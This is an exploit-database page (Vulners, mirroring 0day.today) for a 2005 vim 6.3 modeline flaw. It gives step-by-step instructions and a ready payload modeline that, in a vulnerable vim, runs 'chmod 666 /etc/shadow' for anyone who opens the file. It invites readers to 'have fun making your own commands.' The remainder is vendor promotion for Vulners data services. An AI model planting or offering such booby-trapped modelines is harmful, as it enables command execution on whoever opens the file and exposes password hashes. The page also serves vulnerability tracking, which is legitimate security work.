Lucene search
K

vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploit

🗓️ 25 Jul 2005 00:00:00Reported by Georgi GuninskiType 
zdt
 zdt
🔗 0day.today👁 11 Views

vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploi

Code
============================================================
vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploit
============================================================




1) open up a text file.

2) insert at the top the information (below).

/* vim: foldmethod=expr:foldexpr=glob("`chmod\ 666\ /etc/shadow`") */

3) if modlines = on anyone that opens the file with vim will execute the command:
   chmod 666 /etc/shadow
   
Have fun making your own commands.

The advisory can be found at:
  http://www.guninski.com/where_do_you_want_billg_to_go_today_5.html

/str0ke



#  0day.today [2018-02-07]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jul 2005 00:00Current
6.9Medium risk
Vulners AI Score6.9
11